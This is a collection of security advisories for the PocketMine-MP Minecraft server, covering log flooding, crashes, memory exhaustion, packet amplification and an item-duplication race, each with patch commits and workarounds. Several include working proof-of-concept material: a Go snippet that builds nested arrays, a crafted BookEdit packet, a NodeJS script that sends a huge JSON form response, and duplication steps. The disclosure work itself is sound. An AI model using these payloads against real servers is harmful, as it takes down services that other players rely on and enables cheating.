Package Instance

PocketMine-MP: LogDoS by large complex unknown property logging in clientData in LoginPacket
### Impact

Attackers can put large and/or complex structures as a value to an unknown property in the clientData JWT body in the Minecraft `LoginPacket`, causing the server to generate very long log messages.
Additionally, the property name is logged without any length limitations or sanitization, which can also be abused for LogDoS.

This may be used to spam the log/console, waste CPU time serializing the offending structure, and potentially to crash the server entirely.

This happens because the JsonMapper instance used to process the JWT body is configured to warn on unexpected properties instead of rejecting them outright. While this behaviour increases flexibility for random changes introduced by Microsoft, it also creates vulnerabilities if not handled carefully.

This vulnerability affects PocketMine-MP servers exposed to a public network where unknown actors may have access.

### PoC
1. Connect to the server using a custom client.

2. Send a Minecraft `LoginPacket` containing an unexpected JSON property (e.g., invalid_key) within the ClientData.

3. Set the value of invalid_key to a highly recursive or massive object structure (e.g., an array containing millions of elements or deeply nested arrays).

4. The server hits the `warnUndefinedJsonPropertyHandler`, which attempts to var_export the malicious object, leading to an Out-of-Memory crash.

```
A := make([]interface{}, 1)
	ptr := &A
	for i := 0; i < 500; i++ {
		next := make([]interface{}, 1000)
		(*ptr)[0] = next
		ptr = &next
	}
	data := make([]int, 2000000)
	for i := 0; i < 100; i++ {
		data[i] = i
	}
	(*ptr)[0] = data
	d.PlayFabID = A
 ```

### Patches
The issue was addressed in https://github.com/pmmp/PocketMine-MP/commit/87d1c0cea09d972fd4c2fafb84dac2ecab7649f0 by removing the relevant `var_export` and limiting the length of the logged property name to 80 characters.

### Workarounds
Plugins can handle `DataPacketReceiveEvent` to capture `LoginPacket`, and pre-process the clientData JWT to ensure it doesn't have any unusual properties in it. This can be achieved using `JsonMapper` (see the original affected code below) and setting the `bExceptionOnUndefinedProperty` flag to `true`. A `JsonMapper_Exception` will be thrown if the JWT is problematic.

However, it's important to caveat that this approach may cause login failures if any unexpected properties appear out of the blue in future versions (which has happened in the past).

PocketMine-MP BookEditPacket crash when inventory slot in the packet is invalid
### Summary
If a client sends a BookEditPacket with InventorySlot greater than 35, the server will crash due to an unhandled exception thrown by `BaseInventory->getItem()`.

### Details
Crashes at https://github.com/pmmp/PocketMine-MP/blob/b744e09352a714d89220719ab6948a010ac636fc/src/network/mcpe/handler/InGamePacketHandler.php#L873

### PoC
Using Gophertunnel, use `serverConn.WritePacket(&packet.BookEdit{InventorySlot: 36})`

### Impact
Server crash, all servers

### Patched versions
This issue was fixed by 47f011966092f275cc1b11f8de635e89fd9651a7, and the fix was released in 5.11.2.

PocketMine-MP server crash with certain invalid JSON payloads in `LoginPacket` due to dependency vulnerability (3rd time)
### Impact
An attacker could crash the server by sending malformed JWT JSON in LoginPacket due to a security vulnerability in [netresearch/jsonmapper](https://github.com/cweiske/JsonMapper), due to attempting to construct objects from scalar types by default without any validation, with unexpected results that caused PocketMine-MP to crash.

Due to the relatively high number of security issues arising from this specific dependency, the team is exploring options to replace it.

### Patches
In the meantime, the issue was fixed by pmmp/netresearch-jsonmapper@b96a209f9e8b76b899a0d0918493cd87eb3c02a7 and 6872661fd03649cc7a8762c41c16e9ee5a4de1c9.

### Workarounds
Detecting the malicious data that triggers this issue is of rather high difficulty, so it's not likely that a plugin would be able to easily remediate this.

### References
https://github.com/cweiske/jsonmapper/issues/226

PocketMine-MP allows malicious client data to waste server resources due to lack of limits for explode()
Due to lack of limits by default in the [`explode()`](https://www.php.net/manual/en/function.explode.php) function, malicious clients were able to abuse some packets to waste server CPU and memory.

This is similar to a previous security issue published in https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-gj94-v4p9-w672, but with a wider impact, including but not limited to:

- Sign editing
- LoginPacket JWT parsing
- Command parsing

However, the estimated impact of these issues is low, due to other limits such as the packet decompression limit.

PocketMine-MP: Network amplification vulnerability with `ActorEventPacket`
### Impact
The server handles `ActorEventPacket` to trigger consuming animations from vanilla clients when they eat food or drink potions.

This can be abused to make the server spam other clients, and to waste server CPU and memory. For every `ActorEventPacket` sent by the client, an animation event will be sent to every other player the attacker is visible to.

This is similar to various other vulnerabilities which were fixed in the network overhaul of PM4 (e.g. `AnimatePacket` and `LevelSoundEventPacket`), but somehow this one slipped through the net.

### Patches
The problem was addressed in aeea1150a772a005b92bd418366f1b7cf1a91ab5 by changing the mechanism for consuming animations to be fully controlled by the server. `ActorEventPacket` from the client is now discarded.

### Workarounds
A plugin could use `DataPacketDecodeEvent` to rate-limit `ActorEventPacket` to prevent the attack.

PocketMine-MP has LogDoS by many junk properties in client data JWT in LoginPacket
### Impact

Attackers can fill the body of the clientData JWT in LoginPacket with lots of junk properties, causing the server to flood warning messages, as well as wasting CPU time.

This happens because the JsonMapper instance used to process the JWT body is configured to warn on unexpected properties instead of rejecting them outright. While this behaviour increases flexibility for random changes introduced by Microsoft, it also creates vulnerabilities if not handled carefully.

This vulnerability affects PocketMine-MP servers exposed to a public network where unknown actors may have access.

### Patches

This issue was fixed in c1d4a813fb8c21bfd8b9affd040da864b794df71 by restricting the number of unknown properties to 10, and rejecting the packet if this limit is exceeded. This continues to tolerate random additions to the JWT between versions, while preventing the logger from being abused by clients to slow down the server.

### Workarounds
Plugins can handle `DataPacketReceiveEvent` to capture `LoginPacket`, and pre-process the clientData JWT to ensure it doesn't have any unusual properties in it. This can be achieved using `JsonMapper` (see the original affected code below) and setting the `bExceptionOnUndefinedProperty` flag to `true`. A `JsonMapper_Exception` will be thrown if the JWT is problematic.

However, it's important to caveat that this approach may cause login failures if any unexpected properties appear out of the blue in future versions (which has happened in the past).

### References
Affected code:

https://github.com/pmmp/PocketMine-MP/blob/5.41.1/src/network/mcpe/handler/LoginPacketHandler.php#L289-L303
https://github.com/pmmp/PocketMine-MP/blob/5.41.1/src/network/mcpe/handler/LoginPacketHandler.php#L334-L350

PocketMine-MP: JSON decoding of unlimited size large arrays/objects in ModalFormResponse Handling
### Impact

The server does not meaningfully limit the size of the JSON payload in `ModalFormResponsePacket`. This can be abused by an attacker to waste memory and CPU on an affected server, e.g. by sending arrays with millions of elements.

The player must have a full session on the server (i.e. spawned in the world) to exploit this, as form responses are not handled unless the player is in game.

### Patches
The issue was fixed in two parts:
- cef1088341e40ee7a6fa079bca47a84f3524d877 limits the size of a single form response to 10 KB, which is well above expected size, but low enough to prevent abuse
- f983f4f66d5e72d7a07109c8175799ab0ee771d5 avoids decoding the form response if there is no form associated with the given ID

### Workarounds
This issue can be worked around in a plugin using `DataPacketReceiveEvent` by:
- checking the max size of the `formData` field
- making sure the form ID is not repeated

However, a full workaround for the issue would require reflection to access the `Player->forms` property, which is not exposed via any accessible API prior to 5.39.2.

### PoC

1. Join a PocketMine-MP server as a regular player (no special permissions needed).
2. Use a modified client or packet-sending script to send a `ModalFormResponsePacket` with:

   * Any non-existent `formId`
   * `formData` containing a massive JSON array (e.g., 10+ MB payload).
3. The server will attempt to parse the JSON and may freeze or become unresponsive.

Example NodeJS pseudocode:

```javascript
import { createClient } from 'bedrock-protocol';

const host = '127.0.0.1';
const port = 19132;
const username = 'Test';

const client = createClient({
  host,
  port,
  username,
  offline: true
});

const hugePayload = '[' + '0,'.repeat(5_000_000) + '0]';

client.on('spawn', () => {
  console.log('[*] Connected & spawned. Sending malicious packet...');

  client.write('modal_form_response', {
    formId: 9999,       // Form inexistant
    formData: hugePayload // JSON énorme
  });

  console.log('[*] Packet sent. The server should start freezing shortly.');
});
```

PocketMine-MP `ResourcePackDataInfoPacket` amplification vulnerability due to lack of resource pack sequence status checking
A denial-of-service / out-of-memory vulnerability exists in the `STATUS_SEND_PACKS` handling of `ResourcePackClientResponsePacket`.
PocketMine-MP processes the `packIds` array without verifying that all entries are unique.
A malicious (non-standard) Bedrock client can send multiple duplicate valid pack UUIDs in the same `STATUS_SEND_PACKS` packet, causing the server to send the same pack multiple times. This can quickly exhaust memory and crash the server.
Severity: **High** — Remote DoS from an authenticated client.

---

PocketMine-MP: Player entities can still die and drop items in flaggedForDespawn state
### Summary
When an entity dies, the entity is flagged for despawn, but remains in the `World`'s entity table, meaning it's still accessible by doing `World->getEntity($entityId)` and other methods. The same is true of a player when quitting the server.

When a network packet arrives from a client to attack an entity, the handler fetches the entity using `World->getEntity($entityId)` without any checks if the entity is already marked for despawning. Depending on the timing, the entity in question might already be in the flagged-for-despawn state when the action is processed. This means that the death handler for the entity might be run multiple times, causing loot and XP to be dropped multiple times, among other potential side effects.

### Reproducing steps
To reproduce this vulnerability, two clients (Player A and Player B) are required.

Prerequisites:
    - Player A (Victim): Must have the valuable items to be duplicated in their inventory and 1 HP (to ensure instant death).
    - Player B (Attacker): Must be equipped with a weapon capable of dealing at least 1 damage.

Steps:
    1. Player A and Player B stand next to each other.
    2. Player A initiates the disconnect sequence (e.g., clicking "Disconnect" or "Exit to Menu").
    3. Immediately after Player A triggers the disconnect (within a split-second window), Player B must attack and kill Player A.
    4. Player A's character dies server-side, and their inventory drops on the ground.
    5. Player B collects the dropped items.
    6. Player A logs back into the server.
    7. Result: Player A still possesses the original items in their inventory, while Player B holds the dropped copies.

### Patches
The issue was fixed in https://github.com/pmmp/PocketMine-MP/commit/c0719b76b18f2508143134e79bc9f1aa39109683 by adding checks for flagged-for-despawn entities in several affected locations.

While a cleaner fix would be to have `World`'s various entity accessing methods exclude flagged-for-despawn entities, this was deemed too risky for 5.x as it would require significant internal changes.

### Workarounds
Plugins can mitigate this issue on older versions by handling `EntityDamageByEntityEvent`, checking if the victim entity is flagged for despawn, and if so, cancelling the event.